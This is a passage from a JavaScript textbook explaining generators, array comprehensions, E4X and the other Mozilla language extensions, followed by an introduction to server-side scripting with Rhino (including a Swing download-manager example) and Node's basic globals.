Generators are a JavaScript 1.7 feature (borrowed from Python) that use a new `yield` keyword, which means that code that uses them must explicitly opt in to version 1.7, as described in §11.2. The `yield` keyword is used in a function and functions something like `return` to return a value from the function. The difference between `yield` and `return`, however, is that a function that yields a value to its caller retains its internal state so that it is resumable. This resumability makes `yield` a perfect tool for writing iterators. Generators are a very powerful language feature, but they can be tricky to understand at first. We'll begin with some definitions.

Any function that uses the `yield` keyword (even if the `yield` is unreachable) is a *generator function*. Generator functions return values with `yield`. They may use the `return` statement with no value to terminate before reaching the end of the function body, but they may not use `return` with a value. Except for their use of `yield`, and this restriction on the use of `return`, generator functions are pretty much indistinguishable from regular functions: they are declared with the `function` keyword, the `typeof` operator returns "function", and they inherit from `Function.prototype` just as ordinary functions do. When invoked, however, a generator function behaves completely differently than a regular function: instead of executing the body of the generator function, the invocation instead returns a *generator* object.

A *generator* is an object that represents the current execution state of a generator function. It defines a `next()` method that resumes execution of the generator function and allows it to continue running until its next `yield` statement is encountered. When that happens, the value of the `yield` statement in the generator function becomes the return value of the `next()` method of the generator. If a generator function returns (by executing a `return` statement or reaching the end of its body), the `next()` method of the generator throws `StopIteration`.

The fact that generators have a `next()` method that can throw `StopIteration` should make it clear that they are iterator objects.[1] In fact, they are iterable iterators, which means that they can be used with `for/in` loops. The following code demonstrates just how easy it is to write generator functions and iterate over the values they yield:

```
// Define a generator function for iterating over a range of integers
function range(min, max) {
    for(let i = Math.ceil(min); i <= max; i++) yield i;
}

// Invoke the generator function to obtain a generator, then iterate it.
for(let n in range(3,8)) console.log(n); // Prints numbers 3 through 8.
```

Generator functions need never return. In fact, a canonical example is the use of a generator to yield the Fibonacci numbers:

```
// A generator function that yields the Fibonacci sequence
function fibonacci() {
    let x = 0, y = 1;
    while(true) {
        yield y;
        [x,y] = [y,x+y];
    }
}
// Invoke the generator function to obtain a generator.
f = fibonacci();
// Use the generator as an iterator, printing the first 10 Fibonacci numbers.
for(let i = 0; i < 10; i++) console.log(f.next());
```

Notice that the `fibonacci()` generator function never returns. For this reason, the generator it returns will never throw `StopIteration`. Rather than using it as an iterable object in a `for/in` loop and looping forever, we use it as an iterator and explicitly call its `next()` method ten times. After the code above runs, the generator `f` still retains the execution state of the generator function. If we won't be using it anymore, we can release that state by calling the `close()` method of `f`:

```
f.close();
```

When you call the `close` method of a generator, the associated generator function terminates as if there was a `return` statement at the location where its execution was suspended. If this location is inside one or more `try` blocks, any `finally` clauses are run before `close()` returns. `close()` never has a return value, but if a `finally` block raises an exception it will propagate from the call to `close()`.

Generators are often useful for sequential processing of data—elements of a list, lines of text, tokens from a lexer, and so on. Generators can be chained in a way that is analogous to a Unix-style pipeline of shell commands. What is interesting about this

1. Generators are sometimes called "generator iterators" to clearly distinguish them from the generator functions by which they are created. In this chapter, we'll use the term "generator" to mean "generator iterator." In other sources, you may find the word "generator" used to refer to both generator functions and generator iterators.

approach is that it is *lazy*: values are "pulled" from a generator (or pipeline of generators) as needed, rather than being processed in multiple passes. Example 11-1 demonstrates.

Example 11-1. A pipeline of generators

```
// A generator to yield the lines of the string s one at a time.
// Note that we don't use s.split(), because that would process the entire
// string at once, allocating an array, and we want to be lazy instead.
function eachline(s) {
    let p;
    while((p = s.indexOf('\n')) != -1) {
        yield s.substring(0,p);
        s = s.substring(p+1);
    }
    if (s.length > 0) yield s;
}

// A generator function that yields f(x) for each element x of the iterable i
function map(i, f) {
    for(let x in i) yield f(x);
}

// A generator function that yields the elements of i for which f(x) is true
function select(i, f) {
    for(let x in i) {
        if (f(x)) yield x;
    }
}

// Start with a string of text to process
let text = " #comment \n  \n  hello \nworld\n quit \n unreached \n";

// Now build up a pipeline of generators to process it.
// First, break the text into lines
let lines = eachline(text);
// Next, trim whitespace from the start and end of each line
let trimmed = map(lines, function(line) { return line.trim(); });
// Finally, ignore blank lines and comments
let nonblank = select(trimmed, function(line) {
    return line.length > 0 && line[0] != "#"
});

// Now pull trimmed and filtered lines from the pipeline and process them,
// stopping when we see the line "quit".
for (let line in nonblank) {
    if (line === "quit") break;
    console.log(line);
}
```

Typically generators are initialized when they are created: the values passed to the generator function are the only input that the generator receives. It is possible, however, to provide additional input to a running generator. Every generator has a `send()` method, which works to restart the generator like the `next()` method does. The difference

is that you can pass a value to `send()`, and that value becomes the value of the `yield` expression. (In most generator functions that do not accept additional input, the `yield` keyword looks like a statement. In fact, however, `yield` is an expression and has a value.) In addition to `next()` and `send()`, another way to restart a generator is with `throw()`. If you call this method, the `yield` expression raises the argument to `throw()` as an exception. The following code demonstrates:

```
// A generator function that counts from an initial value.
// Use send() on the generator to specify an increment.
// Use throw("reset") on the generator to reset to the initial value.
// This is for example only; this use of throw() is bad style.
function counter(initial) {
    let nextValue = initial;                // Start with the initial value
    while(true) {
        try {
            let increment = yield nextValue; // Yield a value and get increment
            if (increment)                   // If we were sent an increment...
                nextValue += increment;      // ...then use it.
            else nextValue++;                // Otherwise increment by 1
        }
        catch (e) {                          // We get here if someone calls
            if (e=="reset")                  // throw() on the generator
                nextValue = initial;
            else throw e;
        }
    }
}

let c = counter(10);           // Create the generator at 10
console.log(c.next());         // Prints 10
console.log(c.send(2));        // Prints 12
console.log(c.throw("reset")); // Prints 10
```

11.4.4 Array Comprehensions

An *array comprehension* is another feature that JavaScript 1.7 borrowed from Python. It is a technique for initializing the elements of an array from or based on the elements of another array or iterable object. The syntax of array comprehensions is based on the mathematical notation for defining the elements of a set, which means that expressions and clauses are in different places than JavaScript programmers would expect them to be. Be assured, however, that it doesn't take long to get used to the unusual syntax and appreciate the power of array comprehensions.

Here's an array comprehension that uses the `range()` function developed above to initialize an array to contain the even square numbers up to 100:

```
let evensquares = [x*x for (x in range(0,10)) if (x % 2 === 0)]
```

It is roughly equivalent to the following five lines:

```
let evensquares = [];
for(x in range(0,10)) {
    if (x % 2 === 0)
```

```
        evensquares.push(x*x);
}
```

In general, an array comprehension looks like this:

```
[ expression for ( variable in object ) if ( condition ) ]
```

Notice that there are three main parts within the square brackets:

- A `for/in` or `for/each` loop with no body. This piece of the comprehension includes a *`variable`* (or, with destructuring assignment, multiple variables) that appears to the left of the `in` keyword, and an *`object`* (which may be a generator, an iterable object, or an array, for example) to the right of the `in`. Although there is no loop body following the object, this piece of the array comprehension does perform an iteration and assign successive values to the specified variable. Note that neither the `var` nor the `let` keyword is allowed before the variable name—a `let` is implicit and the variable used in the array comprehension is not visible outside of the square brackets and does not overwrite existing variables by the same name.
- An `if` keyword and a *`conditional`* expression in parentheses may appear after the object being iterated. If present, this conditional is used to filter iterated values. The conditional is evaluated after each value is produced by the `for` loop. If it is `false`, that value is skipped and nothing is added to the array for that value. The `if` clause is optional; if omitted, the array comprehension behaves as if `if (true)` were present.
- An *`expression`* that appears before the `for` keyword. This expression can be thought of as the body of the loop. After a value is returned by the iterator and assigned to the variable, and if that value passes the *`conditional`* test, this expression is evaluated and the resulting value is inserted into the array that is being created.

Here are some more concrete examples to clarify the syntax:

```
data = [2,3,4, -5];                  // An array of numbers
squares = [x*x for each (x in data)]; // Square each one: [4,9,16,25]
// Now take the square root of each non-negative element
roots = [Math.sqrt(x) for each (x in data) if (x >= 0)]

// Now we'll create arrays of property names of an object
o = {a:1, b:2, f: function(){}}
let allkeys = [p for (p in o)]
let ownkeys = [p for (p in o) if (o.hasOwnProperty(p))]
let notfuncs = [k for ([k,v] in Iterator(o)) if (typeof v !== "function")]
```

11.4.5 Generator Expressions

In JavaScript 1.8,[2] you can replace the square brackets around an array comprehension with parentheses to produce a generator expression. A *generator expression* is like an array comprehension (the syntax within the parentheses is exactly the same as the syntax within the square brackets), but its value is a generator object rather than an

2. Generator expressions are not supported in Rhino at the time of this writing.

array. The benefits of using a generator expression instead of an array comprehension are that you get lazy evaluation—computations are performed as needed rather than all at once—and that you can work with potentially infinite sequences. The disadvantage of using a generator instead of an array is that generators allow only sequential access to their values rather than random access. Generators, that is, are not indexable the way arrays are: to obtain the *n*th value, you must iterate through all *n-1* values that come before it.

Earlier in this chapter we wrote a `map()` function like this:

```
function map(i, f) { // A generator that yields f(x) for each element of i
    for(let x in i) yield f(x);
}
```

Generator expressions make it unnecessary to write or use such a `map()` function. To obtain a new generator `h` that yields f(x) for each x yielded by a generator `g`, just write this:

```
let h = (f(x) for (x in g));
```

In fact, given the `eachline()` generator from Example 11-1, we can trim whitespace and filter out comments and blank lines like this:

```
let lines = eachline(text);
let trimmed = (l.trim() for (l in lines));
let nonblank = (l for (l in trimmed) if (l.length > 0 && l[0]!='#'));
```

11.5 Shorthand Functions

JavaScript 1.8[3] introduces a shorthand (called "expression closures") for writing simple functions. If a function evaluates a single expression and returns its value, you can omit the `return` keyword and also the curly braces around the function body, and simply place the expression to be evaluated immediately after the argument list. Here are some examples:

```
let succ = function(x) x+1, yes = function() true, no = function() false;
```

This is simply a convenience: functions defined in this way behave exactly like functions defined with curly braces and the `return` keyword. This shorthand syntax is particularly convenient when passing functions to other functions, however. For example:

```
// Sort an array in reverse numerical order
data.sort(function(a,b) b-a);

// Define a function that returns the sum of the squares of an array of data
let sumOfSquares = function(data)
     Array.reduce(Array.map(data, function(x) x*x), function(x,y) x+y);
```

3. Rhino does not implement this feature at the time of this writing.

11.6 Multiple Catch Clauses

In JavaScript 1.5, the `try/catch` statement has been extended to allow multiple catch clauses. To use this feature, follow the name of the catch clause parameter with the `if` keyword and a conditional expression:

```
try {
    // multiple exception types can be thrown here
    throw 1;
}
catch(e if e instanceof ReferenceError) {
    // Handle reference errors here
}
catch(e if e === "quit") {
    // Handle the thrown string "quit"
}
catch(e if typeof e === "string") {
    // Handle any other thrown strings here
}
catch(e) {
    // Handle anything else here
}
finally {
    // The finally clause works as normal
}
```

When an exception occurs, each catch clause is tried in turn. The exception is assigned to the named catch clause parameter, and the conditional is evaluated. If true, the body of that catch clause is evaluated, and all other catch clauses are skipped. If a catch clause has no conditional, it behaves as if it has the conditional `if true`, and it is always triggered if no clause before it was triggered. If all catch clauses have a conditional, and none of those conditionals are true, the exception propagates uncaught. Notice that since the conditionals already appear within the parentheses of the catch clause, they are not required to be directly enclosed in parentheses as they would be in a regular `if` statement.

11.7 E4X: ECMAScript for XML

ECMAScript for XML, better known as E4X, is a standard extension[4] to JavaScript that defines a number of powerful features for processing XML documents. E4X is supported by Spidermonkey 1.5 and Rhino 1.6. Because it is not widely supported by browser vendors, E4X may perhaps be best considered a server-side technology for script engines based on Spidermonkey or Rhino.

4. E4X is defined by the ECMA-357 standard. You can find the official specification at *http://www.ecma-international.org/publications/standards/Ecma-357.htm*.

E4X represents an XML document (or an element or attribute of an XML document) as an XML object and represents XML fragments (more than one XML element not included in a common parent) with the closely related XMLList object. We'll see a number of ways to create and work with XML objects throughout this section. XML objects are a fundamentally new kind of object, with (as we'll see) much special-purpose E4X syntax supporting them. As you know, the `typeof` operator returns "object" for all standard JavaScript objects other than functions. XML objects are as different from ordinary JavaScript objects as functions are, and the `typeof` operator returns "xml". It is important to understand that XML objects are unrelated to the DOM (Document Object Model) objects used in client-side JavaScript (see Chapter 15). The E4X standard defines optional features for converting between the E4X and DOM representations of XML documents and elements, but Firefox does not implement these. This is another reason that E4X may be best considered a server-side technology.

This section presents a quick tutorial on E4X but does not attempt to document it comprehensively. In particular, the XML and XMLList objects have a number of methods that are not mentioned here. Neither are they covered in the reference section. Readers who want to use E4X will need to refer to the specification for definitive documentation.

E4X defines quite a bit of new language syntax. The most striking bit of new syntax is that XML markup becomes part of the JavaScript language, and you can include XML literals like these directly in your JavaScript code:

```
// Create an XML object
var pt =
    <periodictable>
      <element id="1"><name>Hydrogen</name></element>
      <element id="2"><name>Helium</name></element>
      <element id="3"><name>Lithium</name></element>
    </periodictable>;

// Add a new element to the table
pt.element += <element id="4"><name>Beryllium</name></element>;
```

The XML literal syntax of E4X uses curly braces as escape characters that allow you to place JavaScript expressions within XML. This, for example, is another way to create the XML element just shown:

```
pt = <periodictable></periodictable>;              // Start with empty table
var elements = ["Hydrogen", "Helium", "Lithium"];  // Elements to add
// Create XML tags using array contents
for(var n = 0; n < elements.length; n++) {
    pt.element += <element id={n+1}><name>{elements[n]}</name></element>;
}
```

In addition to this literal syntax, you can also work with XML parsed from strings. The following code adds another element to your periodic table:

```
pt.element += new XML('<element id="5"><name>Boron</name></element>');
```

When working with XML fragments, use `XMLList()` instead of `XML()`:

```
pt.element += new XMLList('<element id="6"><name>Carbon</name></element>' +
                          '<element id="7"><name>Nitrogen</name></element>');
```

Once you have an XML document defined, E4X defines an intuitive syntax for accessing its content:

```
var elements = pt.element;    // Evaluates to a list of all <element> tags
var names = pt.element.name;  // A list of all <name> tags
var n = names[0];             // "Hydrogen": content of <name> tag 0.
```

E4X also adds new syntax for working with XML objects. The `..` operator is the descendant operator; you can use it in place of the normal `.` member-access operator:

```
// Here is another way to get a list of all <name> tags
var names2 = pt..name;
```

E4X even has a wildcard operator:

```
// Get all descendants of all <element> tags.
// This is yet another way to get a list of all <name> tags.  var
names3 = pt.element.*;
```

Attribute names are distinguished from tag names in E4X using the `@` character (a syntax borrowed from XPath). For example, you can query the value of an attribute like this:

```
// What is the atomic number of Helium?
var atomicNumber = pt.element[1].@id;
```

The wildcard operator for attribute names is `@*`:

```
// A list of all attributes of all <element> tags
var atomicNums = pt.element.@*;
```

E4X even includes a powerful and remarkably concise syntax for filtering a list using an arbitrary predicate expression:

```
// Start with a list of all elements and filter it so
// it includes only those whose id attribute is < 3
var lightElements = pt.element.(@id < 3);

// Start with a list of all <element> tags and filter so it includes only
// those whose names begin with "B". Then make a list of the <name> tags
// of each of those remaining <element> tags.
var bElementNames = pt.element.(name.charAt(0) == 'B').name;
```

Download from Wow! eBook <www.wowebook.com>

The `for/each` loop we saw earlier in this chapter (see §11.4.1) is generally useful, but it was defined by the E4X standard for iterating through lists of XML tags and attributes. Recall that `for/each` is like the `for/in` loop, except that instead of iterating through the properties of an object, it iterates through the values of the properties of an object:

```
// Print the names of each element in the periodic table
for each (var e in pt.element)  {
    console.log(e.name);
}

// Print the atomic numbers of the elements
for each (var n in pt.element.@*) console.log(n);
```

E4X expressions can appear on the left side of an assignment. This allows existing tags and attributes to be changed and new tags and attributes to be added:

```
// Modify the <element> tag for Hydrogen to add a new attribute
// and a new child element so that it looks like this:
//
// <element id="1" symbol="H">
//   <name>Hydrogen</name>
//   <weight>1.00794</weight>
// </element>
//
pt.element[0].@symbol = "H";
pt.element[0].weight = 1.00794;
```

Removing attributes and tags is also easy with the standard `delete` operator:

```
delete pt.element[0].@symbol; // delete an attribute
delete pt..weight;            // delete all <weight> tags
```

E4X is designed so that you can perform most common XML manipulations using language syntax. E4X also defines methods you can invoke on XML objects. Here, for example, is the `insertChildBefore()` method:

```
pt.insertChildBefore(pt.element[1],
                     <element id="1"><name>Deuterium</name></element>);
```

E4X is fully namespace-aware and includes language syntax and APIs for working with XML namespaces:

```
// Declare the default namespace using a "default xml namespace" statement:
default xml namespace = "http://www.w3.org/1999/xhtml";

// Here's an xhtml document that contains some svg tags, too:
d = <html>
      <body>
    This is a small red square:
    <svg xmlns="http://www.w3.org/2000/svg" width="10" height="10">
      <rect x="0" y="0" width="10" height="10" fill="red"/>
    </svg>
      </body>
    </html>

// The body element and its namespace uri and its local name
var tagname = d.body.name();
```

```
var bodyns = tagname.uri;
var localname = tagname.localName;

// Selecting the <svg> element is trickier because it is not in the
// default namespace.  So create a Namespace object for svg, and use the
// :: operator to add a namespace to a tagname
var svg = new Namespace('http://www.w3.org/2000/svg');
var color = d..svg::rect.@fill  // "red"
```

CHAPTER 12

Server-Side JavaScript

The previous chapters have covered the core JavaScript language in detail, and we're about to start Part II of the book, which explains how JavaScript is embedded in web browsers and covers the sprawling client-side JavaScript API. JavaScript is the programming language of the Web, and most JavaScript code is written for web browsers. But JavaScript is a fast and capable general-purpose language, and there is no reason that JavaScript cannot be used for other programming tasks. So before we transition to client-side JavaScript, we'll take a quick look at two other JavaScript embeddings. *Rhino* is a Java-based JavaScript interpreter that gives JavaScript programs access to the entire Java API. Rhino is covered in §12.1. *Node* is a version of Google's V8 JavaScript interpreter with low-level bindings for the POSIX (Unix) API—files, processes, streams, sockets, and so on—and a particular emphasis on asynchronous I/O, networking, and HTTP. Node is covered in §12.2.

The title of this chapter says that it is about "server-side" JavaScript, and Node and Rhino are both commonly used to create or to script servers. But the phrase "server-side" can also be taken to mean "anything outside of the web browser." Rhino programs can create graphical UIs with Java's Swing framework. And Node can run JavaScript programs that manipulate files the way shell scripts do.

This is a short chapter, intended only to highlight some of the ways that JavaScript can be used outside of web browsers. It does not attempt to cover Rhino or Node comprehensively, and the APIs discussed here are not covered in the reference section. Obviously, this chapter cannot document the Java platform or the POSIX API, so the section on Rhino assumes some familiarity with Java and the section on Node assumes some familiarity with low-level Unix APIs.

12.1 Scripting Java with Rhino

Rhino is a JavaScript interpreter written in Java and designed to make it easy to write JavaScript programs that leverage the power of the Java platform APIs. Rhino auto-

matically handles the conversion of JavaScript primitives to Java primitives, and vice versa, so JavaScript scripts can set and query Java properties and invoke Java methods.

Obtaining Rhino

Rhino is free software from Mozilla. You can download a copy from *http://www.mozilla.org/rhino/*. Rhino version 1.7r2 implements ECMAScript 3 plus a number of the language extensions described in Chapter 11. Rhino is mature software and new versions are not released often. At the time of this writing, a prerelease version of 1.7r3 is available from the source repository and includes a partial implementation of ECMAScript 5.

Rhino is distributed as a JAR archive. Start it with a command line like this:

```
java -jar rhino1_7R2/js.jar program.js
```

If you omit `program.js`, Rhino starts an interactive shell, which is useful for trying out simple programs and one-liners.

Rhino defines a handful of important global functions that are not part of core JavaScript:

```
// Embedding-specific globals: Type help() at the rhino prompt for more
print(x);           // Global print function prints to the console
version(170);       // Tell Rhino we want JS 1.7 language features
load(filename,...); // Load and execute one or more files of JavaScript code
readFile(file);     // Read a text file and return its contents as a string
readUrl(url);       // Read the textual contents of a URL and return as a string
spawn(f);           // Run f() or load and execute file f in a new thread
runCommand(cmd,     // Run a system command with zero or more command-line args
           [args...]);
quit()              // Make Rhino exit
```

Notice the `print()` function: we'll use it in this section instead of `console.log()`. Rhino represents Java packages and classes as JavaScript objects:

```
// The global Packages is the root of the Java package hierarchy
Packages.any.package.name // Any package from the Java CLASSPATH
java.lang                 // The global java is a shortcut for Packages.java
javax.swing               // And javax is a shortcut for Packages.javax

// Classes: accessed as properties of packages
var System = java.lang.System;
var JFrame = javax.swing.JFrame;
```

Because packages and classes are represented as JavaScript objects, you can assign them to variables to give them shorter names. But you can also more formally import them, if you want to:

```
var ArrayList = java.util.ArrayList; // Create a shorter name for a class
importClass(java.util.HashMap);      // Same as: var HashMap = java.util.HashMap

// Import a package (lazily) with importPackage().
// Don't import java.lang: too many name conflicts with JavaScript globals.
```

```
importPackage(java.util);
importPackage(java.net);

// Another technique: pass any number of classes and packages to JavaImporter()
// and use the object it returns in a with statement
var guipkgs = JavaImporter(java.awt, java.awt.event, Packages.javax.swing);
with (guipkgs) {
    /* Classes like Font, ActionListener and JFrame defined here */
}
```

Java classes can be instantiated using `new`, just like JavaScript classes can:

```
// Objects: instantiate Java classes with new
var f = new java.io.File("/tmp/test"); // We'll use these objects below
var out = new java.io.FileWriter(f);
```

Rhino allows the JavaScript `instanceof` operator to work with Java objects and classes:

```
f instanceof java.io.File        // => true
out instanceof java.io.Reader    // => false: it is a Writer, not a Reader
out instanceof java.io.Closeable // => true: Writer implements Closeable
```

As you can see, in the object instantiation examples above, Rhino allows values to be passed to Java constructors and the return value of those constructors to be assigned to JavaScript variables. (Note the implicit type conversion that Rhino performs in this example: the JavaScript string "/type/test" is automatically converted into a Java *java.lang.String* value.) Java methods are much like Java constructors, and Rhino allows JavaScript programs to invoke Java methods:

```
// Static Java methods work like JavaScript functions
java.lang.System.getProperty("java.version") // Return Java version
var isDigit = java.lang.Character.isDigit;   // Assign static method to variable
isDigit("٢")                                 // => true: Arabic digit 2

// Invoke instance methods of the Java objects f and out created above
out.write("Hello World\n");
out.close();
var len = f.length();
```

Rhino also allows JavaScript code to query and set the static fields of Java classes and the instance fields of Java objects. Java classes often avoid defining public fields in favor of getter and setter methods. When getter and setter methods exist, Rhino exposes them as JavaScript properties:

```
// Read a static field of a Java class
var stdout = java.lang.System.out;

// Rhino maps getter and setter methods to single JavaScript properties
f.name          // => "/tmp/test": calls f.getName()
f.directory     // => false: calls f.isDirectory()
```

Java allows overloaded methods that have the same name but different signatures. Rhino can usually figure out which version of a method you mean to invoke based on the type of the arguments you pass. Occasionally, you need to specifically identify a method by name and signature:

```
// Suppose the Java object o has a method named f that expects an int or
// a float. In JavaScript, you must specify the signature explicitly:
o['f(int)'](3);           // Call the int method
o['f(float)'](Math.PI);   // Call the float method
```

You can use a `for/in` loop to iterate through the methods, fields, and properties of Java classes and objects:

```
importClass(java.lang.System);
for(var m in System) print(m); // Print static members of the java.lang.System
for(m in f) print(m);          // Print instance members of java.io.File

// Note that you cannot enumerate the classes in a package this way
for (c in java.lang) print(c); // This does not work
```

Rhino allows JavaScript programs to get and set the elements of Java arrays as if they were JavaScript arrays. Java arrays are not the same as JavaScript arrays, of course: they are fixed length, their elements are typed, and they don't have JavaScript methods like `slice()`. There is no natural JavaScript syntax that Rhino can extend to allow JavaScript programs to create new Java arrays, so you have to do that using the *java.lang.reflect.Array* class:

```
// Create an array of 10 strings and an array of 128 bytes
var words = java.lang.reflect.Array.newInstance(java.lang.String, 10);
var bytes = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 128);

// Once arrays are created, you can use them much like JavaScript arrays:
for(var i = 0; i < bytes.length; i++)  bytes[i] = i;
```

Java programming often involves implementing interfaces. This is particularly common in GUI programing, where each event handler must implement an event listener interface, and the following examples demonstrate how to implement Java event listeners:

```
// Interfaces: Implement interfaces like this:
var handler = new java.awt.event.FocusListener({
    focusGained: function(e) { print("got focus"); },
    focusLost: function(e) { print("lost focus"); }
});

// Extend abstract classes in the same way
var handler = new java.awt.event.WindowAdapter({
    windowClosing: function(e) { java.lang.System.exit(0); }
});

// When an interface has just one method, you can just use a function instead
button.addActionListener(function(e) { print("button clicked"); });

// If all methods of an interface or abstract class have the same signature,
// then you can use a single function as the implementation, and Rhino will
// pass the method name as the last argument
frame.addWindowListener(function(e, name) {
    if (name === "windowClosing") java.lang.System.exit(0);
});

// If you need one object that implements multiple interfaces, use JavaAdapter:
```

```
var o = new JavaAdapter(java.awt.event.ActionListener, java.lang.Runnable, {
    run: function() {},              // Implements Runnable
    actionPerformed: function(e) {}  // Implements ActionListener
});
```

When a Java method throws an exception, Rhino propagates it as a JavaScript exception. You can obtain the original Java *java.lang.Exception* object through the `javaException` property of the JavaScript Error object:

```
try {
    java.lang.System.getProperty(null);  // null is not a legal argument
}
catch(e) {                        // e is the JavaScript exception
    print(e.javaException);       // it wraps a java.lang.NullPointerException
}
```

One final note about Rhino type conversion is necessary here. Rhino automatically converts primitive numbers and booleans and the `null` value as needed. Java's `char` type is treated as a JavaScript number, since JavaScript doesn't have a character type. JavaScript strings are automatically converted to Java strings but (and this can be a stumbling block) Java strings left as *java.lang.String* objects are not converted back to JavaScript strings. Consider this line of code from earlier:

```
var version = java.lang.System.getProperty("java.version");
```

After calling this code, the variable `version` holds a *java.lang.String* object. This usually behaves like a JavaScript string, but there are important differences. First, a Java string has a `length()` method rather than a `length` property. Second, the `typeof` operator returns "object" for a Java string. You can't convert a Java string to a JavaScript string by calling its `toString()` method, because all Java objects have their own Java `toString()` method that returns a *java.lang.String*. To convert a Java value to a string, pass it to the JavaScript `String()` function:

```
var version = String(java.lang.System.getProperty("java.version"));
```

12.1.1 Rhino Example

Example 12-1 is a simple Rhino application that demonstrates many of the features and techniques described above. The example uses the *javax.swing* GUI package, the *java.net* networking package, the *java.io* streaming I/O package, and Java's multithreading capabilities to implement a simple download manager application that downloads URLs to local files and displays download progress while it does so. Figure 12-1 shows what the application looks like when two downloads are pending.

Figure 12-1. A GUI created with Rhino

Example 12-1. A download manager application with Rhino

```
/*
 * A download manager application with a simple Java GUI
 */

// Import the Swing GUI components and a few other classes
importPackage(javax.swing);
importClass(javax.swing.border.EmptyBorder);
importClass(java.awt.event.ActionListener);
importClass(java.net.URL);
importClass(java.io.FileOutputStream);
importClass(java.lang.Thread);

// Create some GUI widgets
var frame = new JFrame("Rhino URL Fetcher");     // The application window
var urlfield = new JTextField(30);               // URL entry field
var button = new JButton("Download");            // Button to start download
var filechooser = new JFileChooser();            // A file selection dialog
var row = Box.createHorizontalBox();             // A box for field and button
var col = Box.createVerticalBox();               // For the row & progress bars
var padding = new EmptyBorder(3,3,3,3);          // Padding for rows

// Put them all together and display the GUI
row.add(urlfield);                               // Input field goes in the row
row.add(button);                                 // Button goes in the row
col.add(row);                                    // Row goes in the column
frame.add(col);                                  // Column goes in the frame
row.setBorder(padding);                          // Add some padding to the row
frame.pack();                                    // Set to minimum size
frame.visible = true;                            // Make the window visible

// When anything happens to the window, call this function.
frame.addWindowListener(function(e, name) {
    // If the user closes the window, exit the application.
    if (name === "windowClosing")                // Rhino adds the name argument
        java.lang.System.exit(0);
});

// When the user clicks the button, call this function
button.addActionListener(function() {
    try {
        // Create a java.net.URL to represent the source URL.
        // (This will check that the user's input is well-formed)
        var url = new URL(urlfield.text);
        // Ask the user to select a file to save the URL contents to.
        var response = filechooser.showSaveDialog(frame);
        // Quit now if they clicked Cancel
        if (response != JFileChooser.APPROVE_OPTION) return;
        // Otherwise, get the java.io.File that represents the destination file
        var file = filechooser.getSelectedFile();
        // Now start a new thread to download the url
        new java.lang.Thread(function() { download(url,file); }).start();
    }
```

```
    catch(e) {
        // Display a dialog box if anything goes wrong
        JOptionPane.showMessageDialog(frame, e.message, "Exception",
                                      JOptionPane.ERROR_MESSAGE);
    }
});

// Use java.net.URL, etc. to download the content of the URL and use
// java.io.File, etc. to save that content to a file.  Display download
// progress in a JProgressBar component.  This will be invoked in a new thread.
function download(url, file) {
    try {
        // Each time we download a URL we add a new row to the window
        // to display the url, the filename, and the download progress
        var row = Box.createHorizontalBox();     // Create the row
        row.setBorder(padding);                  // Give it some padding
        var label = url.toString() + ": ";       // Display the URL
        row.add(new JLabel(label));              //   in a JLabel
        var bar = new JProgressBar(0, 100);      // Add a progress bar
        bar.stringPainted = true;                // Display filename in
        bar.string = file.toString();            //   the progress bar
        row.add(bar);                            // Add bar to this new row
        col.add(row);                            // Add row to the column
        frame.pack();                            // Resize window

        // We don't yet know the URL size, so bar starts just animating
        bar.indeterminate = true;

        // Now connect to the server and get the URL length if we can
        var conn = url.openConnection();         // Get java.net.URLConnection
        conn.connect();                          // Connect and wait for headers
        var len = conn.contentLength;            // See if we have URL length
        if (len) {                               // If length known, then
            bar.maximum = len;                   //   set the bar to display
            bar.indeterminate = false;           //   the percent downloaded
        }

        // Get input and output streams
        var input = conn.inputStream;            // To read bytes from server
        var output = new FileOutputStream(file); // To write bytes to file

        // Create an array of 4k bytes as an input buffer
        var buffer = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE,
                                                         4096);
        var num;
        while((num=input.read(buffer)) != -1) {  // Read and loop until EOF
            output.write(buffer, 0, num);        // Write bytes to file
            bar.value += num;                    // Update progress bar
        }
        output.close();                          // Close streams when done
        input.close();
    }
    catch(e) { // If anything goes wrong, display error in progress bar
        if (bar) {
            bar.indeterminate = false;           // Stop animating
            bar.string = e.toString();           // Replace filename with error
```

```
        }
    }
}
```

12.2 Asynchronous I/O with Node

Node is a fast C++-based JavaScript interpreter with bindings to the low-level Unix APIs for working with processes, files, network sockets, etc., and also to HTTP client and server APIs. Except for some specially named synchronous methods, Node's bindings are all asynchronous, and by default Node programs never block, which means that they typically scale well and handle high loads effectively. Because the APIs are asynchronous, Node relies on event handlers, which are often implemented using nested functions and closures.[1]

This section highlights some of Node's most important APIs and events, but the documentation is by no means complete. See Node's online documentation at *http://nodejs.org/api/*.

Obtaining Node

Node is free software that you can download from *http://nodejs.org*. At the time of this writing, Node is still under active development, and binary distributions are not available—you have to build your own copy from source. The examples in this section were written and tested using Node version 0.4. The API is not yet frozen, but the fundamentals illustrated here are unlikely to change very much in the future.

Node is built on top of Google's V8 JavaScript engine. Node 0.4 uses V8 version 3.1, which implements all of ECMAScript 5 except for strict mode.

Once you have downloaded, compiled, and installed Node, you can run node programs with commands like this:

```
node program.js
```

We began the explanation of Rhino with its `print()` and `load()` functions. Node has similar features under different names:

```
// Node defines console.log() for debugging output like browsers do.
console.log("Hello Node"); // Debugging output to console

// Use require() instead of load().  It loads and executes (only once) the
// named module, returning an object that contains its exported symbols.
var fs = require("fs");    // Load the "fs" module and return its API object
```

1. Client-side JavaScript is also highly asynchronous and event-based, and the examples in this section may be easier to understand once you have read Part II and have been exposed to client-side JavaScript programs.

Node implements all of the standard ECMAScript 5 constructors, properties, and functions in its global object. In addition, however, it also supports the client-side timer functions set `setTimeout()`, `setInterval()`, `clearTimeout()`, and `clearInterval()`:

```
// Say hello one second from now.
setTimeout(function() { console.log("Hello World"); }, 1000);
```

These client-side globals are covered in §14.1. Node's implementation is compatible with web browser implementations.

Node defines other important globals under the `process` namespace. These are some of the properties of that object:

```
process.version   // Node version string
process.argv      // Command-line args as an array argv[0] is "node"
process.env       // Enviroment variables as an object. e.g.: process.env.PATH
process.pid       // Process id
process.getuid()  // Return user id
process.cwd()     // Return current working directory
process.chdir()   // Change directory
process.exit()    // Quit (after running shutdown hooks)
```

